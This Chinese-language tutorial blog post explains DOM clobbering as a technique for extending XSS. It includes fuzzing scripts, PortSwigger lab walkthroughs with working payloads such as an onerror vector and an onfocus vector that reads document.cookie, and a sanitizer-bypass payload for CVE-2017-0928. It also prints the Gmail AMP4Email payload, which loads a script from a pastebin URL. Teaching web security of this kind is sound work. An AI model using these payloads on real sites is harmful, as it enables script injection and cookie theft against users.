使用 Dom Clobbering 扩展 XSS

栏目: IT技术 · 发布时间: 4年前

内容简介:前几天 PortSwigger 发布了From​ The Document Object Model (DOM) is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style, and content. The DOM represents the document as nodes and obje

前几天 PortSwigger 发布了 Top 10 web hacking techniques of 2019 ,榜上的攻击技术都比较有意思,p牛也肯定会在小密圈做分享的(如果没有话本菜也会在自己博客做做学习分享),所以我们这里就不聊 Top 10 技术了,就看看在 Top 10 提名结果没上榜但是依旧很有意思的技术 Dom Clobbering。

Basics

From MDN Web Docs :

​ The Document Object Model (DOM) is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style, and content. The DOM represents the document as nodes and objects. That way, programming languages can connect to the page.

A Web page is a document. This document can be either displayed in the browser window or as the HTML source. But it is the same document in both cases. The Document Object Model (DOM) represents that same document so it can be manipulated. The DOM is an object-oriented representation of the web page, which can be modified with a scripting language such as JavaScript.

The W3C DOM and WHATWG DOM standards are implemented in most modern browsers. Many browsers extend the standard, so care must be exercised when using them on the web where documents may be accessed by various browsers with different DOMs.

DOM 最初是在没有任何标准化的情况下诞生和实现的,这导致了许多特殊的行为,但是为了保持兼容性,很多浏览器仍然支持异常的 DOM 。

DOM 的旧版本(即DOM Level 0 & 1)仅提供了有限的通过 JavaScript 引用元素的方式,一些经常使用的元素具有专用的集合(例如 document.forms ),而其他元素可以通过 WindowDocument 对象上的 name 属性和 id 属性来引用,

显然,支持这些引用方式会引起混淆,即使较新的规范试图解决此问题,但是为了向后兼容,大多数行为都不能轻易更改。并且,浏览器之间没有共识,因此每个浏览器可能遵循不同的规范(甚至根本没有标准)。显然,缺乏标准化意味着确保DOM的安全是一项重大挑战。

由于非标准化的 DOM 行为,浏览器有时可能会向各种 DOM 元素添加 name & id 属性,作为对文档或全局对象的属性引用,但是,这会导致覆盖掉 document原有的属性或全局变量,或者劫持一些变量的内容,而且不同的浏览器还有不同的解析方式,所以本文的内容如果没有特别标注,均默认在 Chrome 80.0.3987.116 版本上进行。

Dom Clobbering 就是一种将 HTML 代码注入页面中以操纵 DOM 并最终更改页面上 JavaScript 行为的技术。 在无法直接 XSS 的情况下,我们就可以往 DOM Clobbering 这方向考虑了。

Simple Example

其实 Dom Clobbering 比较简单,我们看几个简单的例子就能知道它是干什么了的。

Exmaple 1 - Create

使用 Dom Clobbering 扩展 XSS

从图中我们可以看到通过 id 或者 name 属性,我们可以在 document 或者 window 对象下创建一个对象。

Example 2 - Overwrite

使用 Dom Clobbering 扩展 XSS

可以看到 document.cookie 已经被我们用 img 标签给覆盖了

Example 3 - Overwrite2

使用 Dom Clobbering 扩展 XSS

可以看到我们通过多层覆盖掉了 document.body.appendChild 方法。

Attack Method

既然我们可以通过这种方式去创建或者覆盖 document 或者 window 对象的某些值,但是看起来我们举的例子只是利用标签创建或者覆盖最终得到的也是标签,是一个 HTMLElment 对象。

使用 Dom Clobbering 扩展 XSS

但是对于大多数情况来说,我们可能更需要将其转换为一个可控的字符串类型,以便我们进行操作。

toString

所以我们可以通过以下代码来进行 fuzz 得到可以通过 toString 方法将其转换成字符串类型的标签:

Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

我们可以得到两种标签对象: HTMLAreaElement (<area>) & HTMLAnchorElement (<a>) ,这两个标签对象我们都可以利用 href 属性来进行字符串转换。

使用 Dom Clobbering 扩展 XSS

HTMLCollection

但是如果我们需要的是 x.y 这种形式呢?两层结构我们应该怎么办呢?我们可以尝试上述的办法:

<div id=x>
  <a id=y href='1:hasaki'></a>
</div>
<script>
  alert(x.y);
</script>

这里无论第一个标签怎么组合,得到的结果都只是 undefined 。但是我们可以通过另一种方法加入引入 name 属性就会有其他的效果。

HTMLCollection 是一个 element 的“集合”类,在最新的 Dom 标准 中 IDL 描述如下:

[Exposed=Window, LegacyUnenumerableNamedProperties] interface HTMLCollection {  readonly attribute unsigned long length;  getter Element? item(unsigned long index);  getter Element? namedItem(DOMString name); };

文中也提到了

HTMLCollection is a historical artifact we cannot rid the web of. While developers are of course welcome to keep using it, new API standard designers ought not to use it (use sequence in IDL instead).

它是一种历史产物,并且在今天我们也可以继续使用这个类,只是对于 API 标准设计者不推荐再使用。

关于它的用法:

collection . length

​ Returns the number of elements in the collection .

element = collection . item(index)

element = collection[index]

​ Returns the element with index index from the collection . The elements are sorted in tree order .

element = collection . namedItem(name)

element = collection[name]

​ Returns the first element with ID or name name from the collection.

让我们值得注意的是我们可以通过 collection[name] 的形式来调用其中的元素,所以我们似乎可以通过先构建一个 HTMLCollection ,再通过 collection[name] 的形式来调用。

<div id="x">
  <a id="x" name=y href="1:hasaki"></a>
</div>

使用 Dom Clobbering 扩展 XSS

HTML Relationships

再者,我们也可以通过利用 HTML 标签之间存在的关系来构建层级关系。

var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++) {
  for(var j=0;j<html.length;j++) {
    div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
    document.body.appendChild(div);
    if(window.element1 && element1.element2){
       log.push(html[i]+','+html[j]);
    }
    document.body.removeChild(div);
  }
}
console.log(log.join('\n'));

以上代码测试了现在 HTML5 基本上所有的标签,使用两层的层级关系进行 fuzz ,注意这里只使用了 id ,并没有使用 name ,遇上文的 HTMLCollection 并不是一种方法。

我们可以得到的是以下关系:

form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea

如果我们想要构建 x.y 的形式,我们可以这么构建:

<form id=x><output id=y>I've been clobbered</output>
<script>
alert(x.y.value);
</script>

Three Level

三级的层级关系我们就需要用到以上两种技巧来构建了

<form id="x" name="y"><output id=z>I've been clobbered</output></form>
<form id="x"></form>
<script>
  alert(x.y.z.value);
</script>

这个也比较简单,先用一个 HTMLCollection 获取第二级,再在第一个表单中用 output 标签即可。

More

三层层级以上的我们就需要用到 iframesrcdoc 来进行配合

<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>

因为需要等待所有的 iframe 加载完毕我们才能获得这个层级关系,所以需要用到延时,不用延时也可以通过网络请求来进行延缓:

<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import 'http://example.com';</style>
<script>
alert(a.b.c.d)
</script>

Custom

以上我们都是通过 id 或者 name 来利用,那我们能不能通过自定义属性来构造呢?

<form id=x y=123></form>
<script>
alert(x.y)//undefined
</script>

很明显,这意味着任何未定义的属性都不会具有 DOM 属性,所以就返回了 undefined

我们可以尝试一下 fuzz 所有标签的有没有字符串类型的属性可供我们使用:

var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
  obj = document.createElement(html[i]);
   for(prop in obj) {
    if(typeof obj[prop] === 'string') {
      try {
        props.push(html[i]+':'+prop);
      }catch(e){}
    }
   }
}
console.log([...new Set(props)].join('\n'));

我们可以得到一系列标签字符串类型的属性,例如:

a:username
a:password

但是这仅仅得到的只是知道它们属性为字符串类型,我们需要知道能不能利用,于是我们需要加上一些东西来进行验证

var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
  obj = document.createElement(html[i]);
  for(prop in obj) {
  if(typeof obj[prop] === 'string') {
   try {
    DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
    if(document.getElementById('x')[prop] == 1) {
       props.push(html[i]+':'+prop);
    }
    }catch(e){}
  }
 }
}
console.log([...new Set(props)].join('\n'));

我们可以得到一系列的标签以及其属性名称,例如我们可以利用其中的 a:title 来进行组合

<a id=x title='hasaki'></a>
<script>
  console.log(x.title);//hasaki
</script>

其中在我们第一步得到的属性中比较有意思的是 a 标签的 usernamepassword 属性,虽然我们不能直接通过 title 这种形式利用,但是我们可以通过 href 的形式来进行利用:

<a id=x href="ftp:Clobbered-username:[email protected]">
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>

Exploit Example

PostWigger 提供了两个实验环境 https://portswigger.net/web-security/dom-based/dom-clobbering,

Lab: Exploiting DOM clobbering to enable XSS

​ This lab contains a DOM-clobbering vulnerability. The comment functionality allows “safe” HTML. To solve this lab, construct an HTML injection that clobbers a variable and uses XSS to call the alert() function.

这个实验我们可以在 resources/js/loadCommentsWithDomPurify.js 路由找到这个 JS 文件,在 displayComments() 函数中我们又可以发现

let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML

这里很明显我们可以用 Dom Clobbering 来控制 window.defaultAvatar ,只要我们原来没有头像就可以用一个构造一个 defaultAvatar.avatar 进行 XSS 了。

根据前面的知识,这是一个两层的层级关系,我们可以用 HTMLCollection 来操作

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:"onerror=alert(1)//">

这里注意 " 需要进行 HTML实体编码,用 URL 编码的话浏览器会报错 1:%22onerror=alert(1)// net::ERR_FILE_NOT_FOUND

这样评论以后我们可以在自己的评论处看到:

<p><a id="defaultAvatar"></a><a href="1:"onerror=alert(1)//" name="avatar" id="defaultAvatar"></a></p>

我们再随便评论一下就好了,就可以触发我们构造的 XSS 了。

使用 Dom Clobbering 扩展 XSS

Lab:Clobbering DOM attributes to bypass HTML filters

​ This lab uses the HTMLJanitor library, which is vulnerable to DOM clobbering . To solve this lab, construct a vector that bypasses the filter and uses DOM clobbering to inject a vector that alerts document.cookie. You may need to use the exploit server in order to make your vector auto-execute in the victim’s browser.

Note: The intended solution to this lab will not work in Firefox. We recommend using Chrome to complete this lab.

这个题目也比较有意思,在 resources/js/loadCommentsWithHtmlJanitor.js 文件中,我们可以发现代码安全多了,没有明显的直接用 Window.x 这种代码了

let janitor = new HTMLJanitor({tags: {input:{name:true,type:true,value:true},form:{id:true},i:{},b:{},p:{}}});

一开始就初始化了 HTMLJanitor ,只能使用初始化内的标签及其属性,对于重要的输入输出地方都使用了 janitor.clean 进行过滤。看起来我们没办法很简单地进行 XSS ,那我们就只能来看看 resources/js/htmlJanitor.js 这个过滤文件了。

HTMLJanitor.prototype.clean = function(html) {
  const sandbox = document.implementation.createHTMLDocument("");
  const root = sandbox.createElement("div");
  root.innerHTML = html;

  this._sanitize(sandbox, root);

  return root.innerHTML;
};

首先用 document.implementation.createHTMLDocument 创建了一个新的 HTML 文档用作 sandbox ,然后对于 sandbox 内的元素进行 _sanitize 过滤。

HTMLJanitor.prototype._sanitize = function(document, parentNode) {
truetruevar treeWalker = createTreeWalker(document, parentNode);
  //...
}

_sanitize 函数一开始调用了 createTreeWalker 函数创建一个 TreeWalker ,这个类表示一个当前文档的子树中的所有节点及其位置。

function createTreeWalker(document, node) {
  return document.createTreeWalker(
    node,
    NodeFilter.SHOW_TEXT |
    NodeFilter.SHOW_ELEMENT |
    NodeFilter.SHOW_COMMENT,
    null,
    false
  );
}

这里的 node 即为一开始的 root ,也就是我们构造的 html 会在传入到 node 参数, document 即为一开始的 sandbox ,接着进入循环进行判断,对于文本呢绒以及注释进行处理

if (node.nodeType === Node.TEXT_NODE) {
true//如果此文本节点只是空白,并且上一个或下一个元素同级是`blockElement`,则将其删除
}
// 移除所有的注释
if (node.nodeType === Node.COMMENT_NODE) {
  //...
}
//检查`inlineElement`中是否还有`BlockElement`
var isInline = isInlineElement(node);
var containsBlockElement;
if (isInline) {
  containsBlockElement = Array.prototype.some.call(
    node.childNodes,
    isBlockElement
  );
}
//检查`BlockElement`是否嵌套
var isNotTopContainer = !!parentNode.parentNode;
var isNestedBlockElement =
    isBlockElement(parentNode) &&
    isBlockElement(node) &&
    isNotTopContainer;

var nodeName = node.nodeName.toLowerCase();
//获取允许使用的属性
var allowedAttrs = getAllowedAttrs(this.config, nodeName, node);

var isInvalid = isInline && containsBlockElement;

//根据白名单删除标签
if (
  isInvalid ||
  shouldRejectNode(node, allowedAttrs) ||
  (!this.config.keepNestedBlockElements && isNestedBlockElement)
) {
  // Do not keep the inner text of SCRIPT/STYLE elements.
  if (
    !(node.nodeName === "SCRIPT" || node.nodeName === "STYLE")
  ) {
    while (node.childNodes.length > 0) {
      parentNode.insertBefore(node.childNodes[0], node);
    }
  }
  parentNode.removeChild(node);

  this._sanitize(document, parentNode);
  break;
}

最后看到值得我们关注的点:

// Sanitize attributes
for (var a = 0; a < node.attributes.length; a += 1) {
  var attr = node.attributes[a];

  if (shouldRejectAttr(attr, allowedAttrs, node)) {
    node.removeAttribute(attr.name);
    // Shift the array to continue looping.
    a = a - 1;
  }
}

// Sanitize children
this._sanitize(document, node);

在这里最终对标签的属性进行了 check ,对 node 的每个属性都进行了白名单检查

function shouldRejectAttr(attr, allowedAttrs, node) {
  var attrName = attr.name.toLowerCase();

  if (allowedAttrs === true) {
    return false;
  } else if (typeof allowedAttrs[attrName] === "function") {
    return !allowedAttrs[attrName](attr.value, node);
  } else if (typeof allowedAttrs[attrName] === "undefined") {
    return true;
  } else if (allowedAttrs[attrName] === false) {
    return true;
  } else if (typeof allowedAttrs[attrName] === "string") {
    return allowedAttrs[attrName] !== attr.value;
  }

  return false;
}

如果发现有不在白名单的属性,会使用 node.removeAttribute(attr.name); 进行删除,然后对子节点进行递归 _sanitize 。所以有两个思路,要么绕标签过滤,要么绕节点属性过滤。

标签的获取由 treeWalker.firstChild(); 得到,过滤由 getAllowedAttrs 以及 shouldRejectNode 两个函数进行,由于这里的过滤是进行白名单过滤,没什么办法进行绕过;属性的获取在一个 for 循环当中,条件是 node.attributes.length ,获取方式是 node.attributes[a] ,过滤由 shouldRejectAttr 方法进行。

对 Dom Clobbering 比较敏感的同学可能会注意到这里,对于 node 属性过滤时的 for 循环条件,直接使用了 node.attributes.length ,倘若我们构造的节点正好有一个 attributes 子节点会怎么样呢?

<form id=x>
  <img>
</form>
<script>
  var node = document.getElementById('x');
  console.log(node.attributes);
  for (let a = 0; a < node.attributes.length; a++) {
    console.log(node.attributes[a]);
  }
  console.log('finished');
</script>

以上这段代码会输出一个 NamedNodeMap 对象, id='x' 以及 finished

<form id=x>
  <img name=attributes>
</form>
<script>
  var node = document.getElementById('x');
  console.log(node.attributes);
  for (let a = 0; a < node.attributes.length; a++) {
    console.log(node.attributes[a]);
  }
  console.log('finished');
</script>

以上这段代码会输出 <img name=attributes> 以及 finished ,我们可以看到我们使用 name=attributes 成功地覆盖了原来的 node.attributes ,所以 node.attributes.length 在这里的值为 undefined ,并且也没有影响 JS 代码的继续运行。

所以明白了这个简单的例子,我们可以构造一个包含有 name=attributes 的子节点的 payload 绕过属性的 check ,这里给定的白名单标签也比较明显,我们可以通过 HTML Relationships 来构造我们的 payload

<form id=x ><input id=attributes>

接着就是构造 XSS 了,根据题目要求,需要用户访问触发,所以我们可以利用 tabindex 属性,配合 formonfocus 时间来 XSS 。

<form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>

把它当作评论提交

使用 Dom Clobbering 扩展 XSS

但是如果直接交给用户点击的话是不会触发的,因为评论是由 aJax 请求拿到的,直接访问的话,Dom 树是还没有评论的,得需要等待 JS 执行完成才会有评论,所以这里我们需要一个延时或者阻塞的操作。比较简单的是利用 iframe 进行 setTimeout

<iframe src=https://your-lab-id.web-security-academy.net/post?postId=3 onload="setTimeout(a=>this.src=this.src+'#x',500)">

这里要注意一定要得等评论加载完毕再用 #x 选择 form ,所以这里的 500ms 需要根据自己的网络情况适当调整。

使用 Dom Clobbering 扩展 XSS

CVE-2017-0928 Bypassing sanitization using DOM clobbering

html-janitor 也就是我们上文用到的 HTML filters,在 v2.0.2 当中,janitor 在循环中有这么几行代码:

do {
  // Ignore nodes that have already been sanitized
  if (node._sanitized) {
    continue;
  }
  //...
  // Sanitize children
  this._sanitize(node);
  
  // Mark node as sanitized so it's ignored in future runs
  node._sanitized = true;
} while ((node = treeWalker.nextSibling()));

_sanitized 作为标志位来标志是否已经进行标准化,但是这里,由我们上个例子可以得出,我们可以利用与上个例子类似的 payload 绕过第一个 if 就可以绕过标准化过滤了。

<form><object onmouseover=alert(document.domain) name=_sanitized></object></form>

修复方案是删除了这些判断,对子树利用递归形式进行标准化过滤。

XSS in GMail’s AMP4Email via DOM Clobbering

终于到了我们开头提到的 OWASP Top 10 提名的攻击实例了,作者首先通过直接在控制台输入 window 进行 fuzz

使用 Dom Clobbering 扩展 XSS

这里他首先利用了 AMP ,尝试插入 <a id=AMP> ,但是这个 AMP 被 ban 了

使用 Dom Clobbering 扩展 XSS

接着找到下一个 AMP_MODE ,这个没有被 ban ,反而让作者发现了这里加载失败的 URL 当中有一个 undefined

使用 Dom Clobbering 扩展 XSS

这就是作者插入了 <a id=AMP_MODE> 导致产生的 undefined ,主要产生这个问题的代码经作者简化后是这样的:

var script = window.document.createElement("script");
script.async = false;
 
var loc;
if (AMP_MODE.test && window.testLocation) {
    loc = window.testLocation
} else {
    loc = window.location;
}
 
if (AMP_MODE.localDev) {
    loc = loc.protocol + "//" + loc.host + "/dist"
} else {
    loc = "https://cdn.ampproject.org";
}
 
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
 
document.head.appendChild(b);

代码比较简单,如果再要简化到核心代码就是:

var script = window.document.createElement("script");
script.async = false;
 
b.src = window.testLocation.protocol + "//" +
        window.testLocation.host + "/dist/rtv/" +
        AMP_MODE.rtvVersion; + "/" +
        (AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") +
        "v0/" + pluginName + ".js";
 
document.head.appendChild(b);

所以我们可以用 Dom Clobbering 来让它加载我们任意的 js 文件,直接劫持 protocol 到我们任意 URL,再利用 # 注释掉后面的即可。

<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy-->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
 
<!-- window.testLocation.protocol is a base for the URL -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol"
   href="https://pastebin.com/raw/0tn8z0rG#"></a>

虽然 URL 构造出来了,但是 Google 还有 CSP

Content-Security-Policy: default-src 'none';
script-src 'sha512-oQwIl...=='
  https://cdn.ampproject.org/rtv/
  https://cdn.ampproject.org/v0.js
  https://cdn.ampproject.org/v0/

虽然他当时没绕过,但是 Google 还是全额地给了他奖金。

另外这个 CSP 可以利用 ..%252f 的 trick 进行绕过,由于不属于这篇文章的范围,这里就不详述了,感兴趣的同学可自行搜索。

这里由于篇幅关系,就不再列举更多的例子了,我会把最近自己做的一些 XSS Game 中涉及到 Dom Clobbering 的部分以 Tip 的形式写出来。

Thinking

既然我们一开始提到过或许可以覆盖某些属性,那么我们可不可以覆盖或者说完全控制 document.cookie 呢?究竟我们可以覆盖哪些呢?又可以怎么利用呢?哪些可以用 ID 哪些用 Name呢?

接下来我们来看最后一个问题:哪些用 id 哪些用 name ?

Document & Id

var html = [...];//HTML elements array
var log = [];
var div = document.createElement("div");
for (var i = 0; i < html.length; i++) {
  div.innerHTML = "<" + html[i] + " id=x >";
  document.body.appendChild(div);
  if (document.x == document.getElementById('x') && document.x != undefined) {
    log.push(html[i]);
  }
  document.body.removeChild(div);
}
console.log(log);

我们可以得到只有 object 标签 document 可以通过 id 进行直接获取

["object"]

Document & Name

document.x == document.getElementsByName("x")[0] && document.x != undefined

我们可以得到以下五个元素可以让 document 通过 name 进行直接获取

 ["embed", "form", "image", "img", "object"]

Document & Name & Id

var html = [...];//HTML elements array
var log = [];
var div = document.createElement("div");
for (var i = 0; i < html.length; i++) {
  div.innerHTML = "<" + html[i] + " id=x name=y >";
  document.body.appendChild(div);
  if (
    document.x == document.getElementsByName("y")[0] && document.x != undefined
  ) {
    log.push(html[i]);
  }
  document.body.removeChild(div);
}
console.log(log);

我们可以得到一下三个元素:

["image", "img", "object"]

Window & Id

var html = [...];//HTML elements array
var log = [];
var div = document.createElement("div");
for (var i = 0; i < html.length; i++) {
  div.innerHTML = "<" + html[i] + " id=x >";
  document.body.appendChild(div);
  if (window.x == document.getElementById('x') && window.x != undefined) {
    log.push(html[i]);
  }
  document.body.removeChild(div);
}
console.log(log);

除了在部分的标签,其他标签 window 均可通过 id 进行直接获取

(128) ["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo", "bgsound", "big", "blink", "blockquote", "br", "button", "canvas", "center", "cite", "code", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt", "element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "h1", "header", "hgroup", "hr", "i", "iframe", "iframes", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label", "legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol", "nav", "nextid", "nobr", "noembed", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", …]

Window & Name

window.x == document.getElementsByName("x")[0] && window.x != undefined

这里与 document 一致,只有五个标签可以让 window 通过 name 进行直接获取

 ["embed", "form", "image", "img", "object"]

‘Not Clobbered’

["body", "caption", "col", "colgroup", "frame", "frameset", "head", "html", "tbody", "td", "tfoot", "th", "thead", "tr"]

PS: 这部分并不是真正不能 Clobbered ,因为比如说 body ,因为我本身界面存在一个 body 标签,只是在我测试构建的简单的 HTML 页面中,这些标签不能被 Clobbered ,而且在实际中也用到比较少。并且根据 Chromium 中的说法是”but anything by id”,所以如果需要通过 Window.id 的形式去获取标签的话,还有很多标签可以使用,或者也可以尽力去构建下文的要求。

Dom Doc

其实在 Dom 标准中也有提及过这部分,在 A part of Document interface 这一段中,我们可以看到有相关规定:

​ The Document interface supports named properties . The supported property names of a Document object document at any moment consist of the following, in tree order according to the element that contributed them, ignoring later duplicates, and with values from id attributes coming before values from name attributes when the same element contributes both:

  • the value of the name content attribute for all exposed embed , form , iframe , img , and exposed object elements that have a non-empty name content attribute and are in a document tree with document as their root ;
  • the value of the id content attribute for all exposed object elements that have a non-empty id content attribute and are in a document tree with document as their root ; and
  • the value of the id content attribute for all img elements that have both a non-empty id content attribute and a non-empty name content attribute, and are in a document tree with document as their root .

也有关于 Window 对象的部分

​ The Window object supports named properties . The supported property names of a Window object window at any moment consist of the following, in tree order according to the element that contributed them, ignoring later duplicates:

Window

关于 window 对象,虽然 window 对象可以通过 id 直接获取标签,但是我目前还没发现可以直接通过标签 id 进行 clobber 的属性,毕竟是基于 Dom 的攻击技术。

Document

至于 Document 对象,我列举了一下 Document 对象特有的属性以及其对应的类型:

Class Attr
DOMImplementation [“implementation”]
HTMLCollection [“images”, “embeds”, “plugins”, “links”, “forms”, “scripts”, “anchors”, “applets”, “children”]
String [“documentURI”, “compatMode”, “characterSet”, “charset”, “inputEncoding”, “contentType”, “domain”, “referrer”, “cookie”, “lastModified”, “readyState”, “title”, “dir”, “designMode”, “fgColor”, “linkColor”, “vlinkColor”, “alinkColor”, “bgColor”, “visibilityState”, “webkitVisibilityState”, “nodeName”, “baseURI”]
HTMLBodyElement [“body”, “activeElement”]
HTMLHeadElement [“head”]
HTMLScriptElement [“currentScript”]
HTMLAllCollection [“all”]
NodeList [“childNodes”]
Window [“defaultView”]
DocumentType [“doctype”, “firstChild”]
Boolean [“xmlStandalone”, “hidden”, “wasDiscarded”, “webkitHidden”, “fullscreenEnabled”, “fullscreen”, “webkitIsFullScreen”, “webkitFullscreenEnabled”, “pictureInPictureEnabled”, “isConnected”]
FontFaceSet [“fonts”]
StyleSheetList [“styleSheets”]
Function [“getElementsByTagName”, “getElementsByTagNameNS”, “getElementsByClassName”, “createDocumentFragment”, “createTextNode”, “createCDATASection”, “createComment”, “createProcessingInstruction”, “importNode”, “adoptNode”, “createAttribute”, “createAttributeNS”, “createEvent”, “createRange”, “createNodeIterator”, “createTreeWalker”, “getElementsByName”, “write”, “writeln”, “hasFocus”, “execCommand”, “queryCommandEnabled”, “queryCommandIndeterm”, “queryCommandState”, “queryCommandSupported”, “queryCommandValue”, “clear”, “exitPointerLock”, “createElement”, “createElementNS”, “caretRangeFromPoint”, “elementFromPoint”, “elementsFromPoint”, “getElementById”, “prepend”, “append”, “querySelector”, “querySelectorAll”, “exitFullscreen”, “webkitCancelFullScreen”, “webkitExitFullscreen”, “createExpression”, “createNSResolver”, “evaluate”, “registerElement”, “exitPictureInPicture”, “hasChildNodes”, “getRootNode”, “normalize”, “cloneNode”, “isEqualNode”, “isSameNode”, “compareDocumentPosition”, “contains”, “lookupPrefix”, “lookupNamespaceURI”, “isDefaultNamespace”, “insertBefore”, “appendChild”, “replaceChild”, “removeChild”]
NodeList [“childNodes”]
Array [“adoptedStyleSheets”]
FeaturePolicy [“featurePolicy”]
Null [“xmlEncoding”, “xmlVersion”, “onreadystatechange”, “onpointerlockchange”, “onpointerlockerror”, “onbeforecopy”, “onbeforecut”, “onbeforepaste”, “onfreeze”, “onresume”, “onsecuritypolicyviolation”, “onvisibilitychange”, “oncopy”, “oncut”, “onpaste”, “pointerLockElement”, “fullscreenElement”, “onfullscreenchange”, “onfullscreenerror”, “webkitCurrentFullScreenElement”, “webkitFullscreenElement”, “onwebkitfullscreenchange”, “onwebkitfullscreenerror”, “rootElement”, “pictureInPictureElement”, “ownerDocument”, “parentNode”, “parentElement”, “previousSibling”, “nextSibling”, “nodeValue”, “textContent”]

其中, HTMLBodyElement / HTMLHeadElement / HTMLScriptElement 均继承自 HTMLElement ,为什么需要这些呢?因为在很多时候我们 Clobber 得到的就是一个 HTMLElement ,而 Document 某些属性得到的也是一个 HTMLElement ,所以这时候我们可以直接利用。

Cause

我想如果能覆盖的话,应该就是在调用 document.x 的时候, Dom 树解析得到的结果要优先于 document 自己本身属性,所以产生了这样的结果,但是这里也有一个问题,就是为什么我们在覆盖 cookie 的时候却不能完全控制覆盖呢?

带着这些疑问,我特地去看了一会 chromium 的源码,简略地看了一下这些实现,主要在 chromium 的 blink 部分。由于自己知识浅薄,并没有完整地阅读过 chromium 源码,这里还可能设计到一些编译原理的知识,所以我并没有安全把整个 Chromium 产生这个问题的缘由以代码追踪的形式弄出来,如果要弄的话估计也得去 debug Chromium ,那就是另一篇文章的内容了,所以这个部分还有待继续研究,不过我把自己看的一些有用的部分写出来。如果有兴趣的朋友可以联系我一起研究看看。(虽然我很菜XD

全部代码来源于 Chomiunm Code Search ,这个平台可以比较方便审代码。

Location

首先我们来看看 location ,我们既可以使用 window.location 也可以使用 document.location 拿到 location ,这也能说明我们为什么上文要单独 fuzz Document 特有的属性而不是全部属性了。

在 Chromium 源码中,找到 location 比较简单, Chromium 直接调用了 window 对象的 location() ,所以我们就覆盖不了。

third_party/blink/renderer/core/dom/document.cc 中,第 933 行中有相关定义 Document::location()

Location* Document::location() const {
  if (!GetFrame())
    return nullptr;

  return domWindow()->location();
}

可以看到,直接调用了 domWindow() 来获取 location ,在 third_party/blink/renderer/core/frame/dom_window.cc 中,第85行有相关定义 DOMWindow::location()

Location* DOMWindow::location() const {
  if (!location_)
    location_ = MakeGarbageCollected<Location>(const_cast<DOMWindow*>(this));
  return location_.Get();
}

另外,有人提过相关用其他 hook 的方式 Issue 315760: document.domain can be hooked ,里面提到可以 hook 到 domain 跟 location ,但是我在目前 stable chrome 上测试只能 hook 到 domain ,至于 location 不知道是不是被修了,尽管回复的是”Browsers allow hooking these properties. It doesn’t matter”

Cookie

这里简单看了一下 Cookie 的实现,主要是这两部分代码:

Document::cookie

String Document::cookie(ExceptionState& exception_state) const {
  if (GetSettings() && !GetSettings()->GetCookieEnabled())
    return String();

  CountUse(WebFeature::kCookieGet);

  if (!GetSecurityOrigin()->CanAccessCookies()) {
    if (IsSandboxed(mojom::blink::WebSandboxFlags::kOrigin))
      exception_state.ThrowSecurityError(
          "The document is sandboxed and lacks the 'allow-same-origin' flag.");
    else if (Url().ProtocolIs("data"))
      exception_state.ThrowSecurityError(
          "Cookies are disabled inside 'data:' URLs.");
    else
      exception_state.ThrowSecurityError("Access is denied for this document.");
    return String();
  } else if (GetSecurityOrigin()->IsLocal()) {
    CountUse(WebFeature::kFileAccessedCookies);
  }

  if (!cookie_jar_)
    return String();

  return cookie_jar_->Cookies();
}

CookieJar::Cookies()

String CookieJar::Cookies() {
  KURL cookie_url = document_->CookieURL();
  if (cookie_url.IsEmpty())
    return String();

  RequestRestrictedCookieManagerIfNeeded();
  String value;
  backend_->GetCookiesString(cookie_url, document_->SiteForCookies(),
                             document_->TopFrameOrigin(), &value);
  return value;
}

